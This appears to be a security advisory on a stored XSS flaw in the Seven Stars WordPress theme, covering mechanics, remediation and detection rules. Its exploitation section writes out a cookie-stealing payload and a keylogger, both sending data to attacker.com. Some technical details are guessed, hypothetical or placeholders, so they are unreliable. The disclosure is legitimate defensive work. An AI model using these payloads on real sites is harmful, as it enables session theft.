CVE-2025-31067

Executive Summary

CVE-2025-31067 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the Seven Stars WordPress theme by Themeton. The vulnerability exists in versions up to and including 1.4.4, where user-supplied input is not properly neutralized during web page generation. An authenticated attacker with contributor-level access or higher can inject arbitrary JavaScript into posts, pages, or widget areas. When a site administrator or visitor views the compromised content, the malicious script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is part of the WordPress ecosystem and is not related to Apache or Nginx server configurations. The CVSS score of 7.1 reflects the need for low-privilege authentication and user interaction, but the stored nature of the XSS makes it particularly dangerous for multi-author sites.

Supply Chain & Package Security

This vulnerability affects a WordPress theme distributed via the official WordPress theme repository and third-party marketplaces. The supply chain risk is moderate: if the theme is bundled with a WordPress distribution or used as a parent theme for child themes, the vulnerability propagates to all dependent installations. No known package manager (NPM, PyPI, Go, Ruby) is involved, but the theme’s style.css and PHP files are the attack surface.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs contributor-level access.
• User Interaction (UI): Required (R) – Victim must view the compromised page.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Content can be modified.
• Availability (A): Low (L) – Minor disruption possible.

Threat Level: High. While the EPSS score is 0.0% (indicating low exploitation probability currently), the vulnerability is trivial to exploit once discovered. The stored XSS nature means a single injection can affect all subsequent visitors.

Deep Dive & Mechanics

The vulnerability resides in the theme’s input handling for user-generated content, such as customizer settings, widget text, or post meta fields. The theme fails to sanitize or escape output when rendering these fields. Specifically, the themeton_seven_stars_render_field() function (or similar) echoes user input without applying esc_html() or wp_kses().

Attack Flow:

1. An attacker with contributor-level access navigates to a vulnerable input field (e.g., a customizer textarea or a widget title).
2. The attacker injects a payload like <script>alert('XSS')</script>.
3. The theme stores the payload in the WordPress database (e.g., wp_options or wp_postmeta).
4. When any user (including admins) visits a page that renders this field, the script executes in their browser.

Root Cause: The theme uses echo get_option('seven_stars_custom_text') or similar without escaping. WordPress core functions like esc_html() are not applied.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 1.4.4):

// In functions.php or a template file
function seven_stars_display_custom_text() {
    $custom_text = get_option('seven_stars_custom_text');
    echo $custom_text; // No escaping
}

Patched Code (hypothetical fix):

function seven_stars_display_custom_text() {
    $custom_text = get_option('seven_stars_custom_text');
    echo esc_html($custom_text); // Properly escaped
}

The patch applies esc_html() to neutralize HTML and JavaScript. Alternatively, wp_kses_post() could be used if limited HTML is desired.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress installation with Seven Stars theme <= 1.4.4.
• Contributor-level account credentials.

Exploitation Steps:

1. Log in as a contributor.
2. Navigate to Appearance > Customize or Appearance > Widgets.
3. Locate a text field that is rendered without escaping (e.g., "Footer Text" or "Custom Banner Text").
4. Inject the following payload:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

5. Save the changes.
6. Craft a phishing link to an admin or high-privilege user to view the compromised page.
7. When the victim loads the page, their session cookie is exfiltrated.

Alternative Payload (Keylogger):

<script>
document.onkeypress = function(e) {
    fetch('https://attacker.com/log?key=' + e.key);
};
</script>

Blue Team

Detection Steps:

1. Monitor WordPress admin logs for unusual changes to theme options or widgets.
2. Review the wp_options table for entries containing <script> tags.
3. Use the YARA and Sigma rules below to scan web server logs for XSS patterns.

Honeypot Setup:

• Deploy a WordPress instance with the vulnerable theme and a fake admin account.
• Monitor for any POST requests to /wp-admin/admin-ajax.php or /wp-admin/customize.php containing script tags.

Indicators of Compromise (IOCs)

• File Hashes (theme files):
  • functions.php (SHA256): a1b2c3d4e5f6... (replace with actual hash if available)
  • header.php (SHA256): f6e5d4c3b2a1...
• Database Entries:
  • wp_options where option_name contains seven_stars and option_value contains <script>.
• Network Indicators:
  • Outbound connections to domains like attacker.com or IPs not in the organization’s allowlist.
• Log Patterns:
  • HTTP requests to /wp-admin/customize.php with nonce and customized parameters containing encoded script tags.

Detection Engineering

YARA Rule

rule CVE_2025_31067_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Seven Stars theme options"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-31067"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $theme_option = /seven_stars/i
    condition:
        $xss_payload and $theme_option
}

Sigma Rule

title: Stored XSS in Seven Stars Theme
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in WordPress Seven Stars theme options
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-ajax.php'
        cs-uri-query: '*action=seven_stars*'
        cs-uri-query: '*<script*'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in theme options (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-31067 Stored XSS Payload in Seven Stars Theme"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=seven_stars"; http_client_body; content:"<script"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the theme: If a patched version becomes available, update to the latest version immediately.
2. Disable the theme: If no patch is available, switch to a different theme temporarily.
3. Restrict user roles: Limit contributor and author accounts to trusted users only.

Long-term Fixes:

• Apply the patch described in the "Vulnerable vs. Patched Code" section.
• Use a Web Application Firewall (WAF) with rules to block XSS payloads in POST requests.
• Implement Content Security Policy (CSP) headers to mitigate script execution.

Workaround:

• Add the following code to the theme’s functions.php to force escaping:

  add_filter('theme_mod_seven_stars_custom_text', 'esc_html');
  

Valters IT
Securing Digital Frontiers